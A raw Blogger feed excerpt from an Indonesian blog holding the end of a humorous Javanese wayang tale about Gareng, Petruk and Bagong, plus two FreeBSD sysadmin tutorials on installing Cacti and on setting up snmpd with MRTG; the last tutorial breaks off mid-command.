‘kepalanya Nggliyeer’… seperti org menggangguk…) Kedua.. Batin… kalian harus bersih dari kotoran yang berasal dari tindak kesombonganmu itu… supaya ilmu yg akan kutanam nanti… betah dan mau tinggal lama didlm hatimu… kalau tdk… percuma saja segala mantera yg akan kamu ucapkan… krn hakekat Ilmu yg sejati tdk bersemayam di hatimu… (lha… kalau ini… aku baru tau… Gareng sambil manthuk-manthuk… sok ngerti…)&lt;br /&gt;&lt;br /&gt;Ilmu yg akan kuberikan adalah sama untuk kalian bertiga… aku tdk membeda-bedakan…, sekarang utk menyongsong ilmuku… kuberi waktu 1000 hari bagi kalian utk melaksanakan Laku “Puasa Ngalong”, selama menjlnkan “Laku” kalian tdk boleh bertemu satu sama lain…, coba diartikan sendiri perintahku ini… apa kalian sdh mengerti ? bila sdh paham silakan keluar, dan jng pamit… nanti badar niatmu…! Alaah gampang Ki… It’s Okey… no problem… (Petruk nyeloyor pergi… dng Jip HUMMER H3 keluaran terbarunya…), Gareng juga tdk mau kalah… langsung tancap kuda… naik dokarnya meninggalkan tempat Ki Lurah Semar… Lho… orang kaya koq naik dokar… ? jgn salah dulu… Gareng ini termasuk wayang yg sangat menjaga tradisi pewayangan… walaupun wayang juga boleh membeli mobil tapi tdk dia lakukan… namun sifat pamer kekayaannya masih tetap melekat… bagian-bagian dokar yg terbuat dari besi… dilapisi emas murni 24 karat… kinclong… mentereng… bila terkena sinar matahari …! Gaya kan…? Dokar kencono…je..! Trus…Bagong ? kenapa nggak keluar-keluar dari Padepokan Ki Lurah Semar ? ada apa ini…? apa Ki Lurah pilih kasih…? sengaja menahan Bagong utk diberi tahu rahasia perintahnya ?... O tdk…! Bukan begitu sifat Ki Lurah…, selesai memberi wejangan… Ki Lurah langsung pergi menuju kantor Kelurahan… tempat ia menunaikan tugas Negara… namanya juga Lurah…!&lt;br /&gt;&lt;br /&gt;Karena lama tidak keluar… sopir pribadinya Bagong… datang menghampiri boss nya, …boss..boss… bangun boss.. sudah ngga ada org lagi dipadepokan ini..! wee la da la… entuk mungsuh iki…! sopo sing wani nggoyak-goyak aku mau…? Bagong bangun sambil gelagapan… dikiranya dia mau diajak duel…! Sorry boss ini aku… Mbelung…! Boss sdh ditinggal sama teman-teman boss… ayo kita pulang… BMW nya tadi sudah Mbelung cuci… tapi belum bayar… dibayar dulu ya boss ?... ya sudah kita pulang…! Boss sdh tau… dpt perintah apa dari Pak Lurah tadi…? Embuh… aku gak krungu… ning engko tak takon karo Jin Penunggu Akikku … si Bogang…(masih ingat dng ceritaku ttg Akik yg berpenghuni Jin warna merah… kan ? )… dia pasti dengerin kata-kata Ki Lurah Semar tadi…! Wong dia asistenku koq…. Tenang aja… lets go ooo baby…!&lt;br /&gt;&lt;br /&gt;Untuk menjalankan Perintah Puasa Ngalong : Petruk… setiap saat bertingkah seperti Kalong … kaki diatas… nggandul… di pohon-pohon… pokoknya hal itu dilakukan sesering mungkin… kalau capek ya turun… kalau kuat… gandulan lagi… (rupanya Petruk sedikit paham dng Pengertian Kundalini… tapi salah mengartikan, dipikirnya… dng Nggandul… meditasi terbalik ala Yoga… akan mempercepat api Kundalini sampai ke cakra yg paling atas… padahal… ah… komentar ini hanya para ahli Reiki aja yg pantas menjelaskannya… tdk perlu dibahas lah…)… cerita Gareng…? dia menjlnkan laku dng… Makan didlm hutan…, kebetulan rumahnya dkt dng salah satu hutan di pulau Jawa. Setiap makan pasti masuk hutan… Kalong itu kan tempatnya di hutan…. Jadi se-kerap mungkin dia msk hutan… enak… berhawa sejuk… dng angin sepoy-sepoynya… membuat wayang ketagihan… suasananya sunyi… nyaman untuk meditasi…! Lalu Bagong… ? dia dibisikin sama Jin temannya tadi… Si Bogang… bhw Laku Puasa Ngalong… adalah hanya makan buah saja… seperti makanan kalong… sukanya hanya buah-2an saja kan pak de…? Kata si Bogang kpd Tuannya… waah… yoo.. pinter kowe Gang ! Bagong setuju dengan penjelasan jin asistennya.&lt;br /&gt;&lt;br /&gt;Seribu hari genap… tiga serangkai menjalankan Laku Puasa Ngalong… tiba saatnya mengadap Guru sejatinya… Ki Lurah Semar. Dengan terpincang-pincang kena duri ( terlalu sering msk hutan ) Gareng datang menghadap, Petruk Letoy… karena kebanyakan gandulan…, Bagong “bengeren” (bibirnya bengkak / luka) karena salah makan Pakel dan Kweni –kurang bersih cuci buahnya…(sejenis mangga bergetah gatal)…. Lalu Semar berkata : Ooee… ole-ole.. mbregegek.. ugek-ugek… sak dulitho… kali code okeh ulane… mangan gatot… gembel ketane… hemel..hemel…! waduh opo iki artine… (kalau ini hanya pak Dalang yg tau artinya… aku sendiri sebagai penulis yo… ora ngerti…!) Semar memulai wejangan Nya… ini sudah menjadi titah Dewata… : karena Kesombonganmu semata makanya kamu hrs menanggung akibatnya…: Gareng… sikilmu Gejik… ya seperti itu yg ditakdirkan didunia wayang… selamanya kamu akan Gejik… ora iso mari (pincang – red)….Irungmu mlentung kuwi rak di entup (disengat) tawon to ? Ono omah tawon wis manggon ning nggrumbulan koq yo isih dioprak-oprak, Rasakno… sak iki irungmu dadi bunder…!&lt;br /&gt;&lt;br /&gt;Petruk… karena kamu ‘Kakean Gandulan’ maka tangan dan kaki mu akan bertambah panjang melebihi ukuran tangan wayang secara normal… ( Petruk… wah..mati aku… cewek-cewek nggak mau lagi donk sm aku…, tapi msh untung hidungku tdk tambah panjang… spt pinokio… idiih… ra siut aku…! ) eeh… Petruk! karena kamu ngrasani aku spt itu… maka hidungmu juga akan tambah panjang permanent ! Semar menambahi…! ( O..o.oo ini to.. kenapa hidungnya Petruk menjadi Panjang…! Ini karena tulah sewaktu ngrasani wejangan Ki Lurah Semar… jelas ini diluar pakem pewayangan…! ) Bagong !… amargo kowe gawe-ne nyolong pelem-e tanggamu… mulane kowe ‘Bengeren’ Lambemu Ndomble… dan itu juga permanent…! Wethengmu mlembung kuareg-en nggonmu mangan buah… (kekenyangan mkn buah jadi kembung)… lalu.. Dok..dok..dok…(Dalang nggedok kotak wayang) Dalange langsung Nembang : Ooo..wing … ono kodok kecemplung kali… Ooo..wing….Sabdo Panditho ora bisa ditarik lagi… ! Dunia pewayangan Gonjang-ganjing… remaja-remaja putri wayang menangisi tokoh idolanya… yg telah berubah wujud fisiknya … tapi mau apa lagi…? Bubur tdk mungkin menjadi nasi …! Kanggo ngurangi kecewamu ttg perubahan wujud awakmu… kalian akan kuberikan kesaktian… nantinya kalian tdk bisa dikalahkan oleh umat manusia… tapi jangan GR dulu…! diatas langit tentunya masih ada langit…yang bisa mengalahkan kalian nanti hanya satu… yaitu seseorang yang ber-juluk… “Dhalang Sejati”… ( jelas donk… namanya juga wayang … ya terserah Dhalangnya… ? ya nggak ? )&lt;br /&gt;&lt;br /&gt;Laku Puasa Ngalong yg aku maksudkan adalah : Ngalong…“ Long-long.. ono ..” enggonmu duwe sifat sombong ! Ojo Dumeh…! Adigang… Adigung… Adiguno…! Kuwi ora Becik ! Sifat itu memang sdh tertanam disetiap jiwa manusia… termasuk juga wayang… walaupun kita sdh berusaha utk menghilangkannya… sifat olo (jelek) tadi msh akan tersimpan di dalam hati… Gusti tetap tahu… dan bisa memakhlumi… bila itu hanya tersimpan saja didlm hati… jangan diperlihatkan dan dipraktekan kedalam perbuatan nyata…! Gusti ora seneng sing koyo ngono kuwi…! Lha terus cara-nipun kados pundi Suhu… Bagong bertanya…, Ngene yo…cah Ndomble ; Setiap saat… bila ada keinginan dihatimu berbuat jahat… jangan dituruti… dimulai dari yg kecil-kecil dulu… misalnya… ning Warung kowe mangan krupuk papat (empat)… karena bakul-e tdk mengawasi… akan timbul keinginan utk mengaku hanya ambil krupuk loro (dua)… iku wis manusiawi… namanya sifat Nggabrul…! Yo ojo dilaksanakan…! Alaah mung kacek loro wae koq… ora opo-opo tho ? kuwi mesti sing ono njero batin kotormu… lha kuwi sing wajib dicegah, jangan keluar dari batin, biar didalam saja… dan jng sampai menjadi perbuatan…! Kegitu juga dengan suara-suara kotor lainnya… biasanya akan berbunyi di kala ada kesampatan…! Itu yang harus di cegah…! Inilah Ilmu Sejati yang melambari… semua ilmu kebaikan…! Opo kowe kabeh wis Paham…? Petruk : Inggih Suhu… , Gareng : Inggih Suhu…, Bagong : Inggih Suhu…. (sekarang jawaban mereka seragam… dan tdk ada yg ngantuk lagi… sebagai tanda bahwa Gareng, Petruk, lan Bagong mengakui keunggulan sang Suhu dibandingkan dng kepintarannya masing-masing…)&lt;br /&gt;&lt;br /&gt;Gandeng iki wis parak esuk…. Hayo…wayang-wayang podo mulih… kembali masuk kotak… kuwi Mbelung yo di ajak pisan… engko malah keri… (nanti ketinggalan..)…! si Bogang malah dhisiki (kerena dia jin, jadi lebih cepat larinya) …, wis rampung ceritane… pak Dhalang tinggal menunggu bayaran-e… endhi iki… aku selak mulih…he..he..he..!&lt;br /&gt;&lt;br /&gt;( Cerita ini terinspirasi oleh kisah nyata… diadaptasikan ke dalam dunia pewayangan…khususnya punokawan… mohon maaf kepada para Dhanyang… karena Punokawan sangat di-sakral-kan di alam Gaib - ; Semar : Pamomong nJagat…. Kyai Lurah Petruk sekarang bermukim Di Gng Merapi… Gareng dan Bagong lebih memilih munggah swargo pewayangan –red &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5327337185879772273?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5327337185879772273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5327337185879772273'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/03/gareng-petruk-dan-bagong-berubah.html' title='GARENG, PETRUK DAN BAGONG BERUBAH PENAMPILAN....'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5687385397942279405</id><published>2010-03-16T19:33:00.000-07:00</published><updated>2010-03-16T19:35:02.857-07:00</updated><title type='text'>Membuat Network Grafik Dengan CACTI</title><content type='html'>سم الله الرحمن الرحيم&lt;br /&gt;1. Artikel ini di dedikasikan untuk kemajuan FreeBSD di Indonesia.&lt;br /&gt;2. Segala keluhan mengenai kegagalan penginstallasian cacti harap di bahas di http://forum.indofreebsd.or.id ( mohon tidak menggunakan comment untuk pembahasan setiap artikel ataupun tutorial yang di muat ).&lt;br /&gt;3. Saran dan kritik atas artikel yang saya buat harap di tujukan ke email saya.&lt;br /&gt;4. Dalam pembuatan artikel ini, telah menghabiskan 2 bungkus rokok,4 gelas kopi dan 1 mangkuk indomie.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Cacti merupakan solusi pembuatan grafik network yang lengkap yang didesign untuk memanfaatkan kemampuan fungsi RRDTool sebagai peyimpanan data dan pembuatan grafik.&lt;br /&gt;&lt;br /&gt;Cacti menyediakan pengumpulan data yang cepat, pola grafik advanced, metoda perolehan multiple data , dan fitur pengelolaan user . semuanya dikemas secara intuitif, sebuah interface yang mudah digunakan mudah dipahami untuk local area network hingga network yang kompleks dengan ratusan device.&lt;br /&gt;&lt;br /&gt;Image&lt;br /&gt;&lt;br /&gt;Cacti di-release di bawah lisensi GNU, meskipun gratis tanpa syarat tertentu, tetapi sebaiknya anda melakukan donasi melalui http://cacti.net/donate.php jika anda merasakan manfaat cacti dan anda enjoy menggunakan cacti. Hal ini akan membantu pengembangan cacti selanjutnya dan membuat pembuat cacti senang.&lt;br /&gt;&lt;br /&gt;Lebih Jauh Tentang Cacti&lt;br /&gt;&lt;br /&gt;Cacti merupakan frontend dari RRDTool, cacti mengumpulkan informasi yang di butuhkan untuk pembuatan grafik dan menyimpan informasi tersebut menjadi data dalam database MYSQL. Fronted tersebut dibuat sepenuh nya menggunakan bahasa pemrograman PHP.&lt;br /&gt;&lt;br /&gt;Selain kemampuan untuk memaintain grafik, Data Sources dan Round Robin arsip dalam database, dalam menghandel pengumpulan data. Dan juga support SNMP bagi mereka yang terbiasa membuat grafik dengan MRTG.&lt;br /&gt;&lt;br /&gt;Komponen Utama CACTI&lt;br /&gt;&lt;br /&gt;* Data Sources&lt;br /&gt;&lt;br /&gt;Untuk menghandel pengumpulan data , anda dapat membuat eksternal script atau command yang akan diperlukan untuk di pilih, cacti kemudian mengumpulkan melalui cronjob dan menyimpan nya kedalam database atau round robin archives.&lt;br /&gt;&lt;br /&gt;Data Sources dapat juga di buat, yang berkoresponden dengan data sebenarnya dalam grafik. Sebagai contoh jika anda ingin membuat grafik ping time ke suatu host, anda harus membuat data sources memanfaatkan skrip yang mengping suatu host yang menghasil kan nilai dalam milliseconds. Setelah mendefinisikan option untuk RRDtool sebagaimana menyimpan data anda dapat mendefinisikan informasi tambahan yang dibutuhkan oleh data input. Seperti host yang akan di ping dalam hal ini. Setelah data source di buat, lalu akan di maintain setiap 5 menit secara otomatis.&lt;br /&gt;&lt;br /&gt;* Graphs&lt;br /&gt;&lt;br /&gt;Setiap satu atau lebih data source di definisikan, sebuah grafik RRdtool dapat dibuat menggunakan data tersebut. Cacti memungkinkan anda membuat hampir setiap grafik RRdtool yang dapat di gambarkan. Menggunakan setiap standar RRdtool grafik tipe dan fungsi gabungan. Suatu area pemilihan warna , dan fungsi pengisian text otomatis juga membantu dalam pembuatan grafik agar proses pembuatan grafik lebih mudah.&lt;br /&gt;&lt;br /&gt;Tidak hanya bisa membuat grafik RRDTool based di cacti, tetapi banyak cara untuk menampilkan grafik. Selain dengan standar “ List view “ dan “ preview mode “ yang menyerupai RRDTool frontend untuk semua , ada "tree view", yang memungkinkan anda untuk menaruh grafik-grafik ke suatu tree yang hirarkis untuk tujuan-tujuan pengelompokan.&lt;br /&gt;&lt;br /&gt;* User Management&lt;br /&gt;&lt;br /&gt;Karena banyak fungsi cacti, sebuah user management tool builtin dibuat supaya Anda dapat menambahkan para user dan memberi mereka hak-hak untuk bagian bagian tertentu dari cacti. Ini akan memungkinkan seseorang untuk membuat beberapa user yang dapat merubah parameter parameter grafik, sedangkan yang lain nya hanya bisa melihat grafik. Masing masing user juga dapat memaintain setingan mereka sendiri ketika login untuk melihat grafik.&lt;br /&gt;&lt;br /&gt;* Templating&lt;br /&gt;&lt;br /&gt;Terakhir, Cacti dapat diskalakan menjadi jumlah besar source data melalui penggunaan template. Hal ini memungkinkan pembuatan sebuah grafik atau data source template yang menggambarkan beberapa grafik atau data source yang berhubungan dengan nya. Template template host memungkinkan anda untuk menggambarkan kemampuan dari suatu host maka cacti dapat menggunakan nya untuk informasi atas penambahan suatu host yang baru.&lt;br /&gt;&lt;br /&gt;Dari yang telah dipaparkan di atas cacti memang cukup powefull untuk sebuah traffic monitoring dan memungkinkan setiap client anda memiliki user dan bisa melihat grafik nya sendiri serta memungkinkan anda membuat sebuah monitoring traffic yang terintegrasi baik secara skrip atau snmp.&lt;br /&gt;&lt;br /&gt;Untuk penggunaan lebih jauh menggambungkan cacti dengan software softare atau skrip lain akan membuat cacti menjadi lebih menarik, contoh nya saja jika digabungkan dengan pmacct.&lt;br /&gt;&lt;br /&gt;Cara installasi Cacti&lt;br /&gt;&lt;br /&gt;Asumsi ports collection anda sudah di-upgrade&lt;br /&gt;&lt;br /&gt;Requerement Ports For FreeBSD&lt;br /&gt;&lt;br /&gt;1. /usr/ports/www/apache22&lt;br /&gt;2. /usr/ports/databases/mysql50-server&lt;br /&gt;3. /usr/ports/net-mgmt/cacti&lt;br /&gt;&lt;br /&gt;Tahap pertama adalah installasi apache melalui ports.&lt;br /&gt;&lt;br /&gt;indofreebsd# cd /usr/ports/www/apache22 ; make install clean&lt;br /&gt;&lt;br /&gt;Tahap ke dua adalah installasi database mysql&lt;br /&gt;&lt;br /&gt;indofreebsd# cd /usr/ports/databases/mysql50-server ; make install clean&lt;br /&gt;&lt;br /&gt;Tahap ke tiga menginstall cacti dan packet yang di butuhkan oleh cacti&lt;br /&gt;&lt;br /&gt;indofreebsd# cd /usr/ports/net-mgmt/cacti ; make install clean&lt;br /&gt;&lt;br /&gt;setelah selesai mengeinstall ke tiga ports collection tersebut kita konfigurasi satu persatu yang di perlukan.&lt;br /&gt;&lt;br /&gt;pertama edit rc.conf dan masukkan entri berikut&lt;br /&gt;&lt;br /&gt;apache22_enable="YES"&lt;br /&gt;mysql_enable="YES"&lt;br /&gt;snmpd_enable="YES"&lt;br /&gt;&lt;br /&gt;konfigurasikan snmpd&lt;br /&gt;&lt;br /&gt;indofreebsd# nano /usr/local/share/snmp/snmpd.conf&lt;br /&gt;&lt;br /&gt;## sec.name source community&lt;br /&gt;com2sec local localhost public&lt;br /&gt;&lt;br /&gt;com2sec mynetwork 192.168.0.0/24 public&lt;br /&gt;## group.name sec.model sec.name&lt;br /&gt;group MyRWGroup any local&lt;br /&gt;group MyROGroup v1 mynetwork&lt;br /&gt;group MyROGroup v2c mynetwork&lt;br /&gt;&lt;br /&gt;## incl/excl subtree mask&lt;br /&gt;view all included .1 80&lt;br /&gt;&lt;br /&gt;## context sec.model sec.level prefix read write notif&lt;br /&gt;access MyROGroup "" any noauth exact all none none&lt;br /&gt;access MyRWGroup "" any noauth 0 all all all&lt;br /&gt;&lt;br /&gt;##############################################################&lt;br /&gt;# System contact information&lt;br /&gt;#&lt;br /&gt;syslocation IndoFreeBSD, IndoFreeBSD NOC&lt;br /&gt;syscontact team &lt; team@indofreebsd.or.id This e-mail address is being protected from spambots. You need JavaScript enabled to view it &gt;&lt;br /&gt;&lt;br /&gt;lalu kita jalan kan snmpd nya&lt;br /&gt;&lt;br /&gt;indofreebsd#/usr/local/etc/rc.d/snmpd start&lt;br /&gt;&lt;br /&gt;kita konfigurasikan dahulu apache nya .&lt;br /&gt;&lt;br /&gt;indofreebsd#nano /usr/local/etc/apache22/httpd.conf&lt;br /&gt;&lt;br /&gt;pastikan&lt;br /&gt;&lt;br /&gt;DirectoryIndex index.html index.php&lt;br /&gt;&lt;br /&gt;LoadModule php5_module libexec/apache22/libphp5.so&lt;br /&gt;&lt;br /&gt;dan&lt;br /&gt;&lt;br /&gt;AddType application/x-httpd-php .php&lt;br /&gt;AddType application/x-httpd-php-source .phps&lt;br /&gt;&lt;br /&gt;terdapat pada httpd.conf ke4 baris tersebut untuk dukungan php.&lt;br /&gt;&lt;br /&gt;lalu sertakan ini juga pada httpd.conf untuk alias cacti dan give access apache to cacti directory&lt;br /&gt;&lt;br /&gt;Alias /cacti "/usr/local/share/cacti/"&lt;br /&gt;&lt;br /&gt;DirectoryIndex index.php&lt;br /&gt;Options -Indexes&lt;br /&gt;AllowOverride all&lt;br /&gt;Order deny,allow&lt;br /&gt;Deny from all&lt;br /&gt;Allow from 192.168.0.0/24 &lt;--- ini di ganti di sesuaikan dengan network yang allow access cacti&lt;br /&gt;&lt;br /&gt;AddType application/x-httpd-php .php&lt;br /&gt;php_flag magic_quotes_gpc on&lt;br /&gt;php_flag track_vars on&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;save httpd.conf nya lalu jalankan apache nya&lt;br /&gt;&lt;br /&gt;indofreebsd#/usr/local/etc/rc.d/apache22 start&lt;br /&gt;&lt;br /&gt;tahap pengkonfigurasian mysql.&lt;br /&gt;&lt;br /&gt;pertama jalankan dulu mysql&lt;br /&gt;&lt;br /&gt;indofreebsd# /usr/local/etc/rc.d/mysql-server start&lt;br /&gt;&lt;br /&gt;Create the MySQL database untuk cacti&lt;br /&gt;&lt;br /&gt;indofreebsd# mysqladmin --user=root create cacti&lt;br /&gt;&lt;br /&gt;buat username mysql untuk cacti&lt;br /&gt;&lt;br /&gt;indofreebsd# echo "GRANT ALL ON cacti.* TO cactiuser@localhost IDENTIFIED BY 'cactiuser'; FLUSH PRIVILEGES;" | mysql&lt;br /&gt;&lt;br /&gt;import cacti mysql database&lt;br /&gt;&lt;br /&gt;indofreebsd# mysql cacti &lt; /usr/local/share/cacti/cacti.sql&lt;br /&gt;&lt;br /&gt;edit konfigurasi cacti.&lt;br /&gt;&lt;br /&gt;indofreebsd# nano /usr/local/share/cacti/include/db-settings.php&lt;br /&gt;&lt;br /&gt;/* make sure these values refect your actual database/host/user/password */&lt;br /&gt;$database_type = "mysql";&lt;br /&gt;$database_default = "cacti";&lt;br /&gt;$database_hostname = "localhost";&lt;br /&gt;$database_username = "cactiuser";&lt;br /&gt;$database_password = "cactiuser";&lt;br /&gt;$database_port = "3306";&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;masukan baris ke /etc/crontab&lt;br /&gt;&lt;br /&gt;*/5 * * * * cacti /usr/local/bin/php /usr/local/share/cacti/poller.php&lt;br /&gt;&lt;br /&gt;buka cacti anda melalui browser dengan login admin password admin&lt;br /&gt;&lt;br /&gt;http://172.16.0.7/cacti/ atau ip address freebsd anda&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5687385397942279405?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5687385397942279405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5687385397942279405'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/03/membuat-network-grafik-dengan-cacti_16.html' title='Membuat Network Grafik Dengan CACTI'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-440178983871461410</id><published>2010-03-08T20:25:00.000-08:00</published><updated>2010-03-16T20:03:03.107-07:00</updated><title type='text'>Instalasi snmpd + mrtg (membuat mrtg)</title><content type='html'>Bismillahirrahmanirrahim&lt;br /&gt;&lt;br /&gt;   1. Berdoalah sebelum memulai sesuatu yang baik&lt;br /&gt;   2. Siapkan Stamina anda jangan memaksakan melakukan sesuatu dalam keadaan lelah&lt;br /&gt;   3. Jangan mudah menyerah jika mengalami kegagalan&lt;br /&gt;   4. Buatlah Dokumentasi apa yang anda kerjakan selain bermanfaat juga buat anda jika anda lupa dan juga sebagai wujud terima kasih anda kepada orang yang telah berjasa kepada anda&lt;br /&gt;   5. Tutorial ini saya buat demi membantu kemajuan komunitas FreeBSD di Indonesia.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;INFO    : semua instalansi ini saya asumsikan langsung dari ports yang sudah ada di machine FreeBSD kita.&lt;br /&gt;      dan saya asumsikan kalian telah menginstall apache diserver kalian.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;bsd# cd /usr/ports/net-mgmt/net-snmp/&lt;br /&gt;bsd# make &amp;&amp; make install clean setelah kalian install mrtg, tinggal membuat config file snmpd tersebud&lt;br /&gt;bsd# pico /usr/local/share/snmp/snmpd.conf&lt;br /&gt;####Isi dari snmpd.conf#####&lt;br /&gt;com2sec local     localhost        public&lt;br /&gt;com2sec mynetwork    192.168.10.0/24   public&lt;br /&gt;group MyRWGroup  any        local&lt;br /&gt;group MyROGroup   v1        mynetwork&lt;br /&gt;group MyROGroup   v2c        mynetwork&lt;br /&gt;view all    included  .1                               80&lt;br /&gt;access MyROGroup ""      any       noauth    exact     all    none   none&lt;br /&gt;access MyRWGroup ""      any       noauth    0      all    all    all&lt;br /&gt;syslocation IndoFreeBSD, FreeBSD  NOC&lt;br /&gt;syscontact Tubagus  &lt; tubagus@indofreebsd.or.id This e-mail address is being protected from spambots. You need JavaScript enabled to view it &gt;&lt;br /&gt;####End of snmpd.conf#####&lt;br /&gt;bsd# rehash&lt;br /&gt;agar snmpd otomatis jalan saat server di restart&lt;br /&gt;bsd# echo "/usr/local/sbin/snmpd -c /usr/local/snmp/share/snmp/snmpd.conf" &gt;&gt; /etc/rc.local&lt;br /&gt;untuk melihat snmpd kalian sudah jalan apa belom&lt;br /&gt;bsd# snmpwalk -v 1 -c public HOSTNAME system&lt;br /&gt;info : HOSTNAME ini dapat kalian ganti sesuai nama yg anda tulis di snmpd.conf&lt;br /&gt;maka hasilnya akan seperti ini&lt;br /&gt;&lt;br /&gt;SNMPv2-MIB::sysDescr.0 = STRING: FreeBSD bsd.lemontreenet.net 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jul  4 07:54:01 UTC 2008     agit@bsd.lemontreenet.net This e-mail address is being protected from spambots. You need JavaScript enabled to view it :/usr/obj/usr/src/sys/LEMON i386&lt;br /&gt;SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.8&lt;br /&gt;DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (248432) 0:41:24.32&lt;br /&gt;SNMPv2-MIB::sysContact.0 = STRING: Tubagus  &lt; tubagus@indofreebsd.or.id This e-mail address is being protected from spambots. You need JavaScript enabled to view it &gt;&lt;br /&gt;SNMPv2-MIB::sysName.0 = STRING: bsd.lemontreenet.net&lt;br /&gt;SNMPv2-MIB::sysLocation.0 = STRING: LemonTree, FreeBSD  NOC&lt;br /&gt;SNMPv2-MIB::sysServices.0 = INTEGER: 72&lt;br /&gt;SNMPv2-MIB::sysORLastChange.0 = Timeticks: (0) 0:00:00.00&lt;br /&gt;SNMPv2-MIB::sysORID.1 = OID: IF-MIB::ifMIB&lt;br /&gt;SNMPv2-MIB::sysORID.2 = OID: SNMPv2-MIB::snmpMIB&lt;br /&gt;SNMPv2-MIB::sysORID.3 = OID: TCP-MIB::tcpMIB&lt;br /&gt;SNMPv2-MIB::sysORID.4 = OID: IP-MIB::ip&lt;br /&gt;SNMPv2-MIB::sysORID.5 = OID: UDP-MIB::udpMIB&lt;br /&gt;SNMPv2-MIB::sysORID.6 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup&lt;br /&gt;SNMPv2-MIB::sysORID.7 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance&lt;br /&gt;SNMPv2-MIB::sysORID.8 = OID: SNMP-MPD-MIB::snmpMPDCompliance&lt;br /&gt;SNMPv2-MIB::sysORID.9 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance&lt;br /&gt;SNMPv2-MIB::sysORDescr.1 = STRING: The MIB module to describe generic objects for network interface sub-layers&lt;br /&gt;SNMPv2-MIB::sysORDescr.2 = STRING: The MIB module for SNMPv2 entities&lt;br /&gt;SNMPv2-MIB::sysORDescr.3 = STRING: The MIB module for managing TCP implementations&lt;br /&gt;SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for managing IP and ICMP implementations&lt;br /&gt;SNMPv2-MIB::sysORDescr.5 = STRING: The MIB module for managing UDP implementations&lt;br /&gt;SNMPv2-MIB::sysORDescr.6 = STRING: View-based Access Control Model for SNMP.&lt;br /&gt;SNMPv2-MIB::sysORDescr.7 = STRING: The SNMP Management Architecture MIB.&lt;br /&gt;SNMPv2-MIB::sysORDescr.8 = STRING: The MIB for Message Processing and Dispatching.&lt;br /&gt;SNMPv2-MIB::sysORDescr.9 = STRING: The management information definitions for the SNMP User-based Security Model.&lt;br /&gt;SNMPv2-MIB::sysORUpTime.1 = Timeticks: (0) 0:00:00.00&lt;br /&gt;SNMPv2-MIB::sysORUpTime.2 = Timeticks: (0) 0:00:00.00&lt;br /&gt;SNMPv2-MIB::sysORUpTime.3 = Timeticks: (0) 0:00:00.00&lt;br /&gt;SNMPv2-MIB::sysORUpTime.4 = Timeticks: (0) 0:00:00.00&lt;br /&gt;SNMPv2-MIB::sysORUpTime.5 = Timeticks: (0) 0:00:00.00&lt;br /&gt;SNMPv2-MIB::sysORUpTime.6 = Timeticks: (0) 0:00:00.00&lt;br /&gt;SNMPv2-MIB::sysORUpTime.7 = Timeticks: (0) 0:00:00.00&lt;br /&gt;SNMPv2-MIB::sysORUpTime.8 = Timeticks: (0) 0:00:00.00&lt;br /&gt;SNMPv2-MIB::sysORUpTime.9 = Timeticks: (0) 0:00:00.00&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Setelah di lihat seperti itu, berarti anda berhasil menginstal dan menjalankan snmpd&lt;br /&gt;tahap selanjutnya anda install mrtg&lt;br /&gt;bsd# /usr/ports/net-mgmt/mrtg&lt;br /&gt;bsd# make &amp;&amp; make install mrtg&lt;br /&gt;bsd# rehash&lt;br /&gt;buat directory di root webserver anda, saya asumsikan seperti ini&lt;br /&gt;bsd# mkdir /usr/local/www/data-dist/mrtg&lt;br /&gt;bsd# cfgmaker -global 'WorkDir:/usr/local/www/data-dist/mrtg' -global 'Options[_]:bits,growright' -output /etc/mrtg.cfg&lt;br /&gt;info : saya menaruh mrtg.cfg di folder /etc/, anda dapat mengganti/menaruh di mana kalian suka&lt;br /&gt;selanjutnya tinggal membuat index menggunakan indexmaker&lt;br /&gt;bsd# indexmaker -output /usr/local/www/data-dist/mrtg/index.html /etc/mrtg.cfg&lt;br /&gt;info : untuk membuat mrtg berjalan secara daemon, sebelum anda melakukan indexmaker&lt;br /&gt;tambahkan "RunAsDaemon: yes" di dalam file /etc/mrtg.cfg tanpa menggunakan "&lt;br /&gt;atau bisa anda jalankan mrtg menggunakan crontab&lt;br /&gt;bsd# echo "RunAsDaemon: yes" 